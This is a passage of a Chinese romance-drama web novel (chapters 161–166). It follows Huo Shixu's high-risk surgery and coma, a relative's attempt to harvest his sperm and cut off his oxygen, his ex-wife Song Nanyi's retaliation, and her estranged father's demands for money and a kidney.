裴啸站在专业的角度上,劝他接受,“时序,我相信,这手术一定会成功,难道,你就这样,等死吗?你才几岁啊,你的人生还很长啊,儿子和老婆,都需要你照顾,你舍得扔下她们吗?”
霍时序不舍得。
不舍得又有什么办法。
三成的机会,让他如何敢去拼,如何去搏。
“正好,机会给到你了。”
“你瞧瞧,你说的这是什么话。”裴啸有被气到,回怼他,“你要想让,你早让啊,现在算什么?让我帮你养儿子?想让我养也行,你儿子改姓裴吧。”
第161章 他要的复婚,不是冥婚
“裴啸,你是不是欠揍。”
霍时序激动,又咳嗽了起来。
宋南伊赶紧给他倒了水。
裴啸笑了,“好了,别生气了,爱你的也好,恨你的也罢,都不希望你死,都想让你好好活着。”
霍时序的眸子,黯了下去。
陆为谦走了过来,他和霍时序认识三十年,从未见过他这副病到颓废的模样。
心里难受,嘴上却也没有饶他,“是啊,你要是真**,还真觉得缺了什么,霍时序,你可别让我们看你笑话。”
霍时序看不得别人可怜他的模样。
忍住了没怼陆为谦。
但脸还是扭到了一边。
裴吟有事急着要走,陆为谦便跟着先行离开。
裴啸留下,跟宋南伊说了会话。
“让他接受手术,是最好的选择,三成的成功率虽然不高,但不代表没有机会,朱利安教授一成概率的手术,都做成功过,三成对他来说,不是问题。”
宋南伊明白。
但霍时序这人很固执。
他宁愿慢慢地死去,也不愿意下不来手术台。
说服他,还真得费点功夫。
宋南伊怔忡。
心里盘算着。
“我听说,时序他跟你离婚了?”裴啸突然问。
宋南伊看了他一眼,“嗯。”
“他这个人,就是总喜欢做让自己感动的事情,矫情,小气,冲动,除了那张脸,真的是毫无优点,但又不得不承认,他很爱你……”裴啸看向宋南伊的忧愁的侧脸,“……好好劝劝他吧,他会听你的话的。”
“嗯。”
将裴啸送走。
宋南伊这才疲惫的回到病房。
霍时序靠在床头,就那么怔怔愣愣的看着宋南伊。
他们通常没什么话说。
他病了后,他也不爱说话,她便更沉默寡言。
“裴啸哥,这次费了很大的劲,才找到这么位医生来给你手术,大家都希望你赶紧好起来,霍时序,你不为别的,就为了你自己和小核桃,也不可心生畏惧不是吗?”
她望着他的眼睛。
像是在劝他,更像是在说他不懂事。
其实,人这一生,面对的困难和苦难,都很多。
谁不是一直克服。
面对生与死,不是更得拿出决心来吗?
霍时序苦苦的扯唇,“你也希望我做手术?如果我下不来手术台呢?你知道我还有多少遗憾吗?我慢慢死去,或许我还有机会,弥补这些遗憾,我要是现在**,我如何……”
“为什么你总是这么悲观呢?每一件抉择生死的事情,你都用极其悲观的色彩,先把自己渲染一遍,然后就做出错误的决定,霍时序你都死过一回的人了,真的什么也看不透吗?”
宋南伊也不是教训他。
就是想让他知道。
很多自以为是的对别人好,只是想当然。
“霍时序,你有什么遗憾你就说出来,我可以帮你实现,只要你答应,好好的治病。”
霍时序沉默了。
他最大的遗憾,就是没有和宋南伊复婚。
可他不愿意在自己这种情况下,去逼她做出违心的决定。
很矛盾。
很纠结。
没有答案。
“你不是有很多遗憾吗?让你说,你又不说了,既然你放弃这个机会,那就直接治病吧。”
宋南伊决定把机会收回。
霍时序急了,又有点不那么勇敢,“有,怎么会没有呢,那我说了……”
“说来听听,只要我能办到的,我尽量为你办到。”
宋南伊好整以暇的,看向他。
霍时序没敢看宋南伊的眼睛,嗯啊了好一会儿,才咬着嘴唇说,“我想跟你复婚,行吗?”
宋南伊淡淡的眉心,微微动了一下。
没答应。
也没有拒绝。
当然,她也没有在考虑是答应,还是拒绝。
似乎,这件事情是预料当中的。
她早已经在心里有了答案。
“霍时序,如果你能下手术台,我答应你,可以跟你试试,如果你下不了手术台,我就以你太太身份,为你办葬礼,让儿子以霍云礼的身份,为你披麻戴孝。”
霍时序眉心蹙着。
他要的复婚,不是冥婚。
她这是在拒绝。
所有的机会,都得在他活下来的时候,才有的谈。
失望中,他也无话可说。
……
十一月底,连叶子都要落光的季节。
冬雪已然悄至。
经过紧张的筹备,和术前的检查,霍时序终于要手术了。
他的状态比之前还要差。
其实并不适合手术。
但等不了了。
手术的决定是宋南伊做出的,没有通知任何一个霍家人。
只是给蓝旗打了个电话说了一声。
前婆婆的声音,永远是那样的温和清淡,“南伊,你做主就好了,无论结果是好的,还是坏的,时序不会怨你,我也不会。”
在推霍时序进手术室时。
她
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握住了他的手,“霍时序,你要坚强一些,我会等你出来的。”
霍时序动了动唇。
想说些什么。
宋南伊听不清,便把耳朵凑进他,“你有什么要嘱托的?”
“南伊,如果我这次真的**,记,记得,我,爱你。”他的力气有限,一句话的时间,令他的脸憋的通红,几乎要窒息。
“别说丧气话,你手术一定会成功的。”
宋南伊眼眶泛红。
扭过脸去,擦了把眼泪。
真正面临未知生死的时候,心里是这样的难受。
霍时序被推进了手术室。
她是忐忑的。
裴啸在外面陪着她,“要相信朱利安医生,也要相信时序,他这个人挺坏的,坏人不容易死。”
宋南伊含泪笑了。
想起了许多三个人的往事。
“当年你和霍时序,打了那么多架,纯粹是看他不顺眼吧?”
裴啸浅浅勾唇。
年轻的时候,霍时序高傲,自大,目中无人,只要他勾勾手指头,就有女人前赴后继的扑进他的怀里。
裴啸是瞧不上他这种人的。
从裴啸知道霍时序追求宋南伊开始,他也加入其中。
成为霍时序追求宋南伊道路上的劲敌。
“确实是看他不顺眼,但想追求你也是真的,那时的你,那样的可爱,那样的招人喜欢,漂亮又有才华的女人,谁不想得到呢。”
他没有藏着掩着。
欣赏是真的欣赏。
喜欢也真的是喜欢过。
最后败给了霍时序,他也没有遗憾。
宋南伊稍稍有些错愕,“你真的想过追求我啊?我一直以为是裴吟在拿我们开玩笑。”
当年的裴啸,长得很帅。
个头高,篮球打得又好,黑皮体育生对小姑娘,可是有致命的吸引力。
她不否认。
她也曾偷偷对他动过心。
裴吟最知道她的小心思,明里暗里疯狂讲裴啸的如何如何的优秀。
她脸皮薄。
不敢主动。
裴啸也没表现的多热烈,每每都是阴差阳错的,最后……就不了了之了。
能记得的,无非就一起看过电影,上过几次公开课,但大部分这种时候,裴吟都在。
倒是,对他打霍时序这事,印象挺深的,两人打架的视频,当年还挂上了头条,一呆就是一个月的时间。
“当然是真的喜欢过,我买了花,不好意思送给你,让裴吟代我转给你,你没收到?”
第162章 我只你一颗肾,又不是要天上的星星
宋南伊懵懵的摇头。
她确实没有收到过裴啸送的花。
但那段时间,她净看裴吟抱着花,去追话剧社的那个小白脸了。
扶额,她笑了,“可能她另有用处吧。”
裴啸也笑了。
“我就说,我追不上你,是有原因的,原因在裴吟那儿。”
两人相视。
都是对那段纯真时光的怀念。
“我听裴吟说,你现在和女朋友的感情也挺稳定的,什么时候结婚啊?”宋南伊问。
裴啸唇角的笑意,几乎是一瞬间收了回去。
轻描淡写了句,“再说吧,不急。”
“到时记得一定要告诉我。”
“好。”
片刻的轻松过后。
宋南伊沉重的,看向手术室门口亮起的灯。
中途,裴啸被叫走。
她一个人,孤零零的面对着霍时序的生死未卜。
手术室的对面。
急匆匆的推过来一位急诊。
她抬眸望过去。
很眼熟,像是……万同齐的老婆,那推进去的,应该就是那个患了重病的女儿。
女人哭的很凶。
悲痛欲绝的样子,令人动容。
手术室的门关上后。
她无力的靠坐在了宋南伊的对面。
抽泣了好一会儿,才慢慢平静下来。
女人像是认出了她。
擦了把眼泪和鼻涕,就扑通一下扑到了宋南伊的面前。
“你是万同齐的女儿吧,你叫宋南伊,对吗?那狗东西跟我说过,你找他相认过,那你和我们家琪琪流着相同的血,你可以救我女儿的对吗?”
女人眼巴巴的。
像要吸血的水蛭。
宋南伊压起眉心,扫开了她抓着自己腿的手,“你认错人了。”
“没错,不会错的,你就是宋南伊,你是万同齐的女儿,你救救你的妹妹,好不好?万同齐那狗东西,年轻时太浪了,肾早已经不行了,你不一样,你年轻,你的肾一定是健康的,你给琪琪一颗肾,救她一命,好不好?”
宋南伊反感。
哪有人上来就要人肾的。
以买一颗西兰花?
“你在说什么疯话?”
“不是的,我不是疯子,宋南伊,你是个好人,你一定不会见死不救的,琪琪她才十六岁啊……”她红着眼,唇齿不停的打着颤,紧紧抓着宋南伊的裤边,“……只要一颗肾,我只要一颗,她就能活,你也死不了,好不好?”
“你要救女儿,让万同齐自己去想办法,请不在来骚扰我。”
宋南伊本就心里没边没落。
一个疯女人,拉着她要肾,她真的要爆炸。
“让开。”
女人不让,抱紧了她的腿,“宋南伊,你不可以这么没良心,她是你妹妹,你们是一个父亲啊,你怎么可以这样呢,琪琪只需要你一颗肾,又不是要天上的星星,你就不能行行好吗?”
“你干什么?你赶紧放开我。”宋南伊挣了一下。
女人反而抱的更紧。
她嘴里来回说着,要宋南伊肾的话。
搞的她很烦。
裴啸回来,看到宋南伊被纠缠,一把扯开了女人,将宋南伊护在了身后。
“你谁啊?这是要干什么?”
女人红着眼,指着宋南伊,“她可以救我的女儿,我要让她救我的女儿。”
裴啸看向宋南伊,“你认识她?”
宋南伊摇头。
裴啸便给医院的保安部打了个电话。
很快疯癫失控的女人,被带走。
“那她……这是干什么?”裴啸也不是非得刨根问底,只是刚刚听到说什么肾,肾的,他有些紧张,“伊伊,如果遇到难处,可以跟我讲。”
宋南伊是不喜欢,把自己的事情,到处说的。
但她跟裴吟讲过。
她不知道,裴吟有没有跟裴啸讲过。
只是淡了个大概,“这个女人的女儿,得了尿毒症,需要一颗肾,可能是觉得我的肾,与她女儿能匹配上吧,把我当成了救命稻草。”
裴啸并未追问。
只是就这个事,说了自己的意见,“器官不是别的,不管是什么人来要,都要三思而后行。”
“当然,我怎么可能把我的肾给她,非亲非故的。”
裴啸点头。
“以后再遇到这样的事情,就大声喊人,万一让她伤着你,就不好了。”
宋南伊,“知道了。”
手术室外的走廊,因为疯女人的离开,瞬间安静了下来。
宋南伊依然对手术室里的未知,很紧张。
不知不觉。
霍时序已经推进手术室,接近三个小时。
时间越长,宋南伊的心里越没底。
“裴啸哥,你说他……手术会成功吗?”
裴啸比宋南伊有信心,“一定会成功的,要相信朱利安教授的医术,也要相信时序。”
宋南伊垂眸。
指尖蜷起。
真的会吗?
江淮姗姗来迟。
他手中拿着一个牛皮纸袋,身边还跟着一位霍氏法务集团的律师。
“邵律师,将霍总的遗嘱念给宋小姐听吧。”
宋南伊头嗡的一声。
遗嘱?
人还在里面抢救,念什么遗嘱?
“江淮,你傻了,霍时序还在里面抢救,他还没死,我不需要什么遗嘱。”
“霍总吩咐过,只要他超过三个小时没有从手术室里出来,大概率就可以判定他的手术失败,遗嘱就要当面交到您的手上。”
江淮眼眶很红。
保持着该有的冷静。
宋南伊心口,又苦又涩的,“他神经病啊,他是医生吗?自己给自己判生死?江淮,他傻,你也傻了?听到不是医生,亲口对我说他死了,这份遗嘱,我是不要接受的。”
“太太,这是霍总的心愿,您就接受吧,朱利安医生亲口说过,超过三个小时的手术,就算成功,手术中用的药物也会对脑神经造成很大的影响,说白了……”
他哽咽着,“……说白了,很有可能终生昏迷,或是……醒过来也会变成傻子。”
宋南伊愕然震惊。
没人跟她提过这事。
包括裴啸。
她木然的转动干涩的眼神,看向了裴啸。
是这样吗?
明明他是肺部出了问题,怎么会又伤到脑子呢?
为什么没人告诉她。
为什么让她一点心理准备都没有?
“裴啸哥……”
裴啸很抱歉的抿紧了唇,“怕你担心,所以,有一些并发症,并没有告诉你……”
他抱歉又躲避的眼神,已经证明了江淮所说的,都是真实存在,且有可能马上就会发生。
宋南伊身子一软。
人踉跄了下。
裴啸慌忙伸手扶住她,轻声,“现在一切都未成定数,不是百分百的,我们等手术完再说。”
他看向江淮,让他暂时先不要宣布遗嘱。
“江特助,这事,稍后再说吧,南伊她受不了接二连三的打击。”
宋南伊闭起眼睛。
泪流满面。
手术室的灯还在亮着。
未知依然如故。
她死死的盯着那盏不肯熄灭的灯,泪水流出眼底,一滴滴的滑落。
悲伤在空气中蔓延。
没有一个人,会天真的认为,一个持续了将近五个小时的手术,能有什么圆满的结果。
却又不得不怀揣着希望。
等待着奇迹的降临。
终于……
手术室的灯‘啪’灭了。
几乎是在同一瞬间,所有人的瞳孔都猛地收缩,紧接着,大家又不约而同地拔腿冲向手术室门口,紧张,而又忐忑的,期待着,命运的宣判。
第163章 准备一套取精的设备
朱利安医生走出来。
他身上的手术服,全部湿透。
步子虚浮,踉跄。
迎上大家期待的目光,他点了点头,“肺部的手术,算是成功了,他应该再活个十年八年不成问题,但是,至于什么时候醒过来,得看这二十四小时,如果超过二十四小时,醒不了,那后面有可能会发生别的……很难说。”
先给了一个好消息。
又给了一个坏消息。
宋南伊也不知道,是该庆祝手术的顺利。
还是该沮丧,霍时序将要面临的未知。
不管怎么说,人活着下了手术台,这就是不幸中的万幸。
“谢谢你朱教授,辛苦了。”
道完谢后,宋南伊便跟着护士,将霍时序一起推进了重症监护室。
ICU里的温度很低。
宋南伊被隔绝在外面。
只以透过一块不算大的玻璃,勉强的看到霍时序躺在那儿。
她神情忧伤,眼角还挂着未干的泪痕。
她实在是无法理解,一个人,怎么可以经受这样一波连着一波的灾难。
还都是她造成的。
叹息。
自责。
裴啸走过来,劝她坐下休息一会儿,“伊伊,你过来,我跟你讲一下时序的病情。”
宋南伊回神。
走到裴啸的面前,弯身坐下。
她实在是没什么力气。
强撑着精神,“朱利安医生,还说什么了?”
“时序要是二十四小时醒不过来,你也别太担心,朱利安教授说,他不可能昏迷一辈子,只是昏迷一阵子,只是这一阵是一个月,还是一年,没人知道,你要有信心,好吗?”
这话,是让宋南伊宽心的。
是真是假,她无法揣测。
她很感激,裴啸忙里忙外的,还要照顾她的情绪,“谢谢你裴啸哥,我已经做好了最坏的打算。”
他抬手揉了揉她的头顶。
像个心疼她的兄长,“我知道你会挺过去的。”
不远处。
陆为谦就站在走廊的尽头。
他是赶过来安慰宋南伊的。
用朋友的身份。
可她似乎对裴啸更依赖,对他却从未敞开过心。
仅仅是因为裴啸是裴吟的哥哥?
还是因为……她曾经喜欢过裴啸?
不管是哪种,他都输了。
“难受了?”裴吟抱怀,往裴啸和宋南伊的坐着的地方,看了一眼,“陆为谦,你这叫自寻烦恼,我哥可是南伊情窦初开时,喜欢的第一个人,别说你了,霍时序也比不了。”
“我没有跟任何人比。”
陆为谦双手插兜。
转身往回走。
裴吟觉得他太小气,有话,从来不肯大大方方地说。
“可你明明比了。”
陆为谦苦笑,“就算是比了,谁也没有比过不是吗?裴吟,我挺失败的,你选择了我,未必是一个好的选择。”
“我觉得你挺好的。”裴吟跟在陆为谦身边,步子不算快的走着,“就凭你答应我,结婚后,会跟我生个孩子,我就觉得你是个好人。”
陆为谦并没有觉得,生个孩子不好,“我也挺喜欢孩子。”
“跟一个联姻的对象,一个不喜欢的女人,生的孩子,也喜欢吗?”她歪着头问他。
陆为谦只是笑笑。
没有回答。
联姻稳固的是两家的利益。
生孩子不在之内。
大家心知肚明。
裴吟对陆为谦这个人,有了改观。
他确实是个很好的人。
只是有点闷。
不知道打起官司来,是不是,也是这样的忍气吞声。
裴吟笑了。
……
裴啸开导了宋南伊一会儿。
接了个电话。
便起身告辞。
“好好的照顾好自己,才能照顾好时序,他一定会好起来的。”
裴啸拥抱了宋南伊。
她感受到了他的温暖,点头,“我会的。”
“好了,不哭了。”他微笑着抬起指尖,很有分寸的给她拭掉了眼角的泪,“这两天,阿吟要订婚,得在家里忙,要是遇到解决不了的事情,给我打电话,我随时到。”
“谢谢你,裴啸哥。”
“走了。”
裴啸离开。
宋南伊吸了吸鼻子,重新坐回到了重症监护室外。
她祈祷着霍时序能醒。
她希望一切不好的事情,都不要发生。
……
霍时序没有给大家惊喜。
二十四小时,四十八小时,七十二小时,他依然处在昏迷之中。
霍明达过来看儿子时,刚好蓝旗也在。
看着哭红眼睛的前妻,他刚要出声安抚几句,被蓝旗抬手打断。
“霍明达,你千万别跟我说话,我不想听。”
霍明达热脸贴了个冷屁股。
脸色难看。
他这个人极爱面子,却三番五次的在蓝旗这儿,丢了面子。
好听的话也变成了难听的,“你现在脾气怎
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么变成这样了?你以前多温柔的一个人,这些年,吃呛药了?”
“温柔有用吗?温柔能换回一个忠心的丈夫和完整的家吗?你也配要求别人。”
霍明达气哼。
也忘了自己是来干啥的,扭头就走了。
蓝旗的性格本就温和,只是见了霍明达,就会想到自己年轻那会儿,受的委屈。
才如此的得理不饶人。
人,就是这样,见不得仇人。
“南伊,我让烟儿留下来,帮你照顾时序,你也好轻松一些。”
蓝旗心疼宋南伊,连日来的疲惫。
却不知,蓝烟不是可以托付的人。
宋南伊心里不愿的。
但蓝旗是好意,她又无法拒绝。
一时,又没有想到什么合适的理由,蓝旗便拍板定下了,“你也辛苦太多天了,今晚就让烟儿留下来照顾她哥,你回家好好睡个觉。”
“好啊妈,我照顾我哥是应该的。”蓝烟求之不得。
她等这个机会很久了。
宋南伊看着蓝烟,后背发凉。
她似乎很兴奋。
这并不正常。
“阿姨,我不累,照顾时序是我应该做的,交给别人,我不放心的。”
“烟儿也不是旁人,要是把你累坏了,时序可是会心疼的。”不管宋南伊如何的拒绝,蓝旗还是坚持将她送回家,“好了,别太担心时序,这是加护病房,有医生巡房,护士也会定时过来,不会有事的。”
宋南伊只好暂时答应,想着回家拿一些生活必需品,马上再回医院。
蓝烟是最大的隐患。
她能给小核桃下毒,未必就不会对霍时序下手。
他现在还是病人,宋南伊真怕出事。
果然。
宋南伊和蓝旗离开没多久。
蓝烟就给顾南风打了个电话。
“帮我准备一套取精的设备,今晚上,我就要完成这件事情。”
那头的男人狞笑出声,“他病成那样了,你也不放过他,这论狠,还是你狠啊。”
“我等这一天很久了,顾南风,你欠我的人情该还了,霍时序变成这样,是天意,你不仅可以替他去联姻,日后还能取代他,成为霍家新的继承人,这不是很爽的事情吗?顾南风,我是在帮你完成,你的终极梦想,你废什么话。”
蓝烟看了一眼病床上,像**的霍时序。
催促顾南风速度快一点,“我可真羡慕你顾南风,这辈子遇到了我,你还真是有福气呢。”
第164章 嫁祸
当顾南风和蓝烟同时出现在,霍时序这个半死不活的人的病房时。
就等同于在给一个婴儿喂**。
这人还能活吗?
“他现在病成这样,那精子质量能行吗?蓝烟,你万一生个残疾,靠什么去争财产?”顾南将脸凑近女人,暧昧又变态的吸了一口香气,“要不,用我的?我和他一样,都是霍家的人,我好好弄你,我保证让你享受,还能让你受孕。”
蓝烟嫌弃推开顾南风。
顾南风的皮囊确实不错,床上功夫,她也试过了,过得去。
但他的精子,可没有霍时序的金贵。
“你的不值钱,我就要他的,就算生个残疾,生个傻子,我也认了,就要霍时序的种。”
她熟练的打开工具箱。
拿出取精用的设备。
“去,把他的裤子扒了。”她吩咐顾南风。
顾南风欠她的人情。
又想借这个机会,送霍时序上西天,然后栽赃到蓝烟身上。
对她言听计从。
看着蓝烟那不算细的针管扎进那玩意里,病床上的男人眉心蹙了一下。
摁着霍时序的顾南风,吓了一跳。
“霍时序,不会是要醒了吧?”
“对疼痛有反应,这很正常,摁住他,我马上就好了。”
蓝烟已经疯魔,顾南风也差不多。
两个人折腾着霍时序,最终还是完成了取精。
看着针管里的液体,蓝烟心满意足,“太棒了,这就是我以后安身立命的东西。”
顾南风看着贪婪的女人。
眉眼透出狡黠。
这岂止是安身立命,要是真怀了霍时序的崽,那至少能分几十亿。
凭什么?
如果霍时序**,这些钱可都是他的。
让一个疯女人白白拿走?
顾南风刚要伸手去抢针筒。
宋南伊一步迈进来。
“你们在干什么?”
她回到家后,越想心里越不踏实,没敢呆太久,就赶紧赶回了医院。
顾南风竟然在这儿?
这一男一女,都不是省油的灯。
她注意到了蓝烟手上的针筒,“那里面是什么?蓝烟,你对霍时序做什么了?”
宋南伊伸手去夺蓝烟手里的东西。
蓝烟动作麻利的,将东西拿走,让宋南伊扑了空。
“顾南风,你弄住她,别让她坏了我的好事。”
还没等顾南风对宋南伊动手。
宋南伊已经又将手,伸向了蓝烟手上的针筒,“把东西给我,蓝烟,你简直是疯了,时序他是病人,你到底对他做什么了?”
两个女人在争针筒。
顾南风则看向了,病床上悄无声息的男人。
如果没有霍时序。
那他就是霍家唯一的继承人。
就算那老头子,一千一万个不愿意,也只能接受。
他伸手关掉了霍时序的氧气的机器。
悄无声息的,把检测他心脏的监护仪也一并拔掉了插头。
两个人女人,还在争得不相上下。
等她们争完了,霍时序也就悄悄的死掉了。
爽。
顾南风爽的不得了。
就在他为自己的阴险,洋洋得意的时候。
就听得‘砰’的一声,巨响。
宋南伊一手握着小型的灭火器,一手握着抢来的针筒。
蓝烟满头是血的,躺坐在地上,喘着粗气,“宋南伊,**就是个疯子。顾南风,帮我把东西抢过来,快一点,再不放进仪器里,东西就要坏掉了。”
顾南风刚要上前。
就被宋南伊凶狠的眼神,给瞪住,“顾南风,你敢往前一步,今天,我就把你弄死在这儿。”
一个女人说这样的话,其实没什么震慑力。
更何况,还是宋南伊这种,看起来柔弱到,弱不禁风的,漂亮女人。
凶狠在此情此景下,更像是调情。
“嫂子,你这是干什么?”顾南风笑着,往她在前走。
宋南伊咬着牙根,警告他,“你敢上前试试。”
顾南风根本没放进眼里。
刚往前又走了一步,宋南伊手上的灭火器就冲着他的头,砸了下去。
顾南风躲闪不及。
脑袋被砸了个窟窿。
疼的他差一点晕厥过去。
“宋南伊,你连我也敢打……嘶……”
蓝烟一看,顾南风这个男人也不中用,气的蹬了他一腿,“废物,长这么大个子,连个女人都收拾不了。”
顾南风头晕的厉害。
这个宋南伊看起来弱不胜衣,没想到这么猛。
动静这么大,难免不会引来别人。
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>他得赶紧离开,这个事非之地。
他几乎是用爬的,离开了病房。
蓝烟没了帮手,又满头是血,几乎没什么反抗的能力,被宋南伊三两个的绑了起来。
“你给我老实呆着,一会儿再收拾你。”
她起身去看霍时序。
发现他的脸色已经黑到发紫。
“时序,时序……医生,医生……”
宋南伊慌了。
低头再一看,他所有的仪器,都被拔掉了。
颤着手,将仪器全部接好,医生和护士也赶了过去,将他推走去抢救。
回身。
她重重的扇了蓝烟一个巴掌。
“你怎么可以这么对他,他让你进霍氏,给你工作,他的妈妈把你养大,你怎么可以做这种丧尽天良的事情?”
蓝烟笑了。
拔仪器这事,她猜是顾南风做的,然后嫁祸给她。
狗男人,太卑鄙了。
“宋南伊,你凭什么对我说教,我实话告诉你,我平等的恨你们所有人,包括蓝旗,包括你那个小崽子,我想让你们死,都死,我才开心。”
宋南伊接受她恨自己。
甚至是恨霍时序跟她抢母爱。
但她为什么要恨把她养大的蓝旗呢。
如果没有这个养母,她早已经**。
“你还真是养不熟的白眼狼。”宋南伊拿着针筒,几乎已经判断出这里面的东西,“你既然这么恨我们,为什么要偷霍时序的精子?”
“我为什么要告诉你?”蓝烟啐了一口血,“宋南伊,你应该庆幸,你那小崽子没死,要不然,我的孩子就会是霍时序唯一的孩子。”
这疯话说的,太癫。
她这是承认了,下毒那事,是她干的。
宋南伊听窝火,反手又是一个巴掌,“他只是一个孩子,你还是人吗?你这个禽兽不如的东西,就应该受到法律的制裁。”
“你以为我怕这个?”蓝烟癫狂大笑,“你没有任何证据,证明我有**的动机,就算有,我也是**未遂,关我几天就出来了。”
够猖狂。
确实,仅仅关几天就放出来。
实在是便宜她了。
宋南伊突然改变了主意。
接受法律的制裁,确实制裁不了她什么。
那就送她去一个有趣的地方。
第165章 她想要个孩子,满足她
霍时序有惊无险地,救了回来。
医生在他的隐私部位,发现了**,与取精的事情吻合。
恰恰是这个行为,刺激到了他的某根神经。
医生说,有可能会早一些,醒过来。
这对于所有人来说都是好事。
“江特助,蓝烟送去安宁了吗?”
江淮:“是的,我已经关照好那边的医生,会着重照顾她的。”
安宁精神病院。
是一家特殊的精神病疗养院。
送进去的人,大多都一些神志疯癫,无处可去的人,里面不设安全围栏。
江淮打点了足够的钱,让院长格外关照蓝烟。
她在里面的日子,注定不会好过。
“她不是一直想要个孩子么?”宋南伊眼神,幽深难辨。
阳光灼照在她的左半侧脸颊,将右脸沉于一片浓重的阴影之中,侧影犹如一头正待掠食的猎豹,冷静,残忍。
“去告诉院长,务必……满足她的愿望。”
江淮恭敬点头,“明白。”
发生这种事情以后。
江淮找了保镖,日夜守在病房外面。
闲杂人等一律不让进。
这日。
宋南伊帮霍时序擦了身体,刚要休息一下。
就听到外面有吵闹的声音。
“我就是来看看霍总,我是他岳父,又不是外人,你们就让我进去吧。”
“我真的是他的岳父,要不然,你让宋南伊出来,看我说的是不是真的。”
“你们让一下,我就看望一下,我还能怎么着他呀,你们也太不像话了。”
万同齐喋喋不休。
保镖一言不发,拦着他,不卖一丝情面。
吵吵闹闹的。
宋南伊听的烦心。
她走出病房,将万同齐往外赶,“我警告你,别自己给自己身份,我没有承认过,你是我父亲,你再在这儿大声喧哗,小心我报警。”
“南伊,你这又是何必呢。”万同齐捶着胸口,好像多么伤心一般,“我承认,当初你来认我的时候,我,我就是当时心情不太好,才拒绝跟你相认,你就不能原谅我吗?”
宋南伊冷冷地睨着他。
目光疏离,“原谅你,有什么好处吗?”
“原谅我,我们就是好父女了啊。”万同齐开始显摆,自己在绘画界的地位,“我是知名的画家,你是首富的太太,我们简直就是……人生赢家啊。”
“你怎么不说,你是有名的赌鬼,一个不愿意给女儿捐肾的父亲?”宋南伊不想看他演戏,这种人,她就看透了,无利不起早。
万同齐被戳穿,脸色变了变。
但也没敢太计较,“我也有难处。”
“南伊,我现在真的有难处,有人要追杀我,放言我再不……再不还钱,就把我胳膊和腿,全卸了,你帮帮我行吗?”
万同齐欠债,被**下江湖追杀令。
他躲来躲去的,实在是没地方躲了,这又想起宋南伊。
“你放心,我一定会还的,我的画的价值你是知道的,等你帮我还了钱,我就再画几幅绝世佳作,肯定会卖个好价钱的。”
“南伊,我就借十个亿,这对你们来说,不多的,我到时还你二十个亿,你看行吗?”
万同齐眼巴巴的。
企图用这种可怜相,令宋南伊心软。
宋南伊冷笑。
心口有说不出的恶寒,“十个亿?亏你说得出口,你以为我是摇钱树?还是给你开银行的?万大师,你欠多少,与我无关,你拿什么还债,也跟我没有半毛钱的关系,别在这儿恶心人了。”
万同齐就像站在屎上,擦翅膀的苍蝇。
光是看着,就让人生呕。
宋南伊转身要走。
万同齐不甘心,又叫住了她,“那你不借给我钱也行,给妹妹捐个肾吧,她还那么小,你救了她,也算是功德一件,她可是你的亲妹妹。”
宋南伊眉心皱得发黑。
如果不是还有点素质,她真想扇他个大嘴巴。
钱要不成,要器官?
“你是她爸,为什么你不去捐?我骗你老婆说你的肾不行,眼睁睁的看着自己的女儿死掉,也不肯拿出一颗肾,你这种人,简直就是猪狗不如,我告诉你,我根本不可能用我的肾,救你的家人,你想都不要想。”
当她是什么了?
钱要不到,就轮番来要她的肾。
她欠他们的啊?
有病。
纯纯的病的不轻。
“那你这样,我可就不客气了。”万同齐拿出一些陈年旧物
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,“你肯定很想知道,关于你亲生母亲的事情吧?她呀,生前活的可不光彩呢,要不是我可怜她,肯给她一个孩子,她这一辈子可就……”
宋南伊没等他说完,凌厉的眼神,如刀片般,落到了眼前这个老男人的脸上。
一个男人,怎么会无赖成这样,将曾经为自己生儿育女的女人,说的一文不值,还外加诋毁。
好像,没有他的出现,别人的人生就无法完整。
他当自己是救世主了?
“所以呢?你就是个**犯,对吗?”
“我……”万同齐结结巴巴的,诡狡着,“……我怎么会是**犯呢,我是说,我是她的恩人。”
“你是她什么恩人?不救她,把她生的孩子扔掉,你这叫恩人吗?你企图杀死两条人命,你就是个**犯,是个畜生。”
“你,你,你,你怎么可以这么骂自己的亲生父亲。”
万同齐指向宋南伊。
骂她大逆不道。
“我告诉你万同齐,以后少出现在我面前。”
“宋南伊,我白生了你,早知道,你这样的不近人情,我当初,就不该把你扔在医院里,就该把你掐死。”
万同齐恨的咬牙切齿。
本来不想计较的宋南伊。
实在是忍不了了。
抬手就给了这个男人,一个响脆的耳光,打的他耳鸣眼花,措手不及。
“你,你简直是反天了,你竟然敢打你的亲生父亲,还有没有天理了。”
宋南伊抓起他的领口,红着眼瞪着他,“你没有资格做你子女的父亲,任何一个子女,都会因为你这样的亲生父亲,感到羞耻,你最好有多远,死多远,否则,以后我会让你一张画都卖不出去。”
“你,你,你,你还威胁上我了,你以为我怕你啊……”万同齐干咽。
宋南伊松开手。
拿了消毒湿巾,将每根手指擦干净,漂亮的眸子眯起警告,“不信,你可以试试。”
“你就是仗着霍时序给你撑腰,我看霍时序**,你拿什么跟我横。”
万同齐啐了一口。
“我要是被**拿了胳膊,拿了腿,我让你日子也不好过,我现在光脚的可不怕穿鞋的,咱们就走着瞧,宋南伊,你给我等着。”
第166章 坏事了,霍时序真的傻了
这一架吵得宋南伊,精疲力尽。
回到病房。
她人瘫在那儿,整整一下午,一动也没有动。
后来。
她换了个姿势,趴在霍时序的病床旁,似睡似醒的,直到半夜饿起来,这才缓过神来。
她的饮食很不规律。
没有胃口。
心情一直沉闷,导致她,吃得很少。
裴吟和陆为谦订婚后,来看望过霍时序一次。
陪她聊了许久。
别人的话,始终安慰不了她破碎又疲惫的心。
霍时序这一躺就是半年的时间。
她一度以为,他不会再醒来。
将她接到家中照顾。
只要他还有呼吸,孩子就还有爸爸,她已经习惯了他不说话的存在。
蓝旗因为蓝烟的事情,一直在自责。
尽管宋南伊说了很多,跟她无关的话,来宽慰这位长辈。
她依然愧疚难当。
日子好像就这样不紧不慢地过着。
小核桃也从小班,升到了中班。
家里有路姐帮着照顾,宋南伊开始正常的工作。
霍正诚经常派陈伯过来打听情况。
霍明达反倒来得很少。
听说,他正在布局让顾南风进霍氏。
不知道是真是假。
傍晚。
宋南伊吃过饭后,坐在霍时序的床前,给他读书听。
内容,大多是她上学时喜欢的一些名著。
他依然没什么反应,她现在都怀疑,当初医生说他马上会醒过来,是一句安慰的话了。
夕阳的光,红彤彤地落到窗台上。
映红了彼此的脸。
……
几天后的一个周末。
宋南伊陪着小核桃在做手工。
路姐突然着急忙乱的,从二楼下来,“太太,先生他好像是醒了。”
“……醒了?”宋南伊心口一紧,“你是说他醒了?”
她忙起身,就往二楼走。
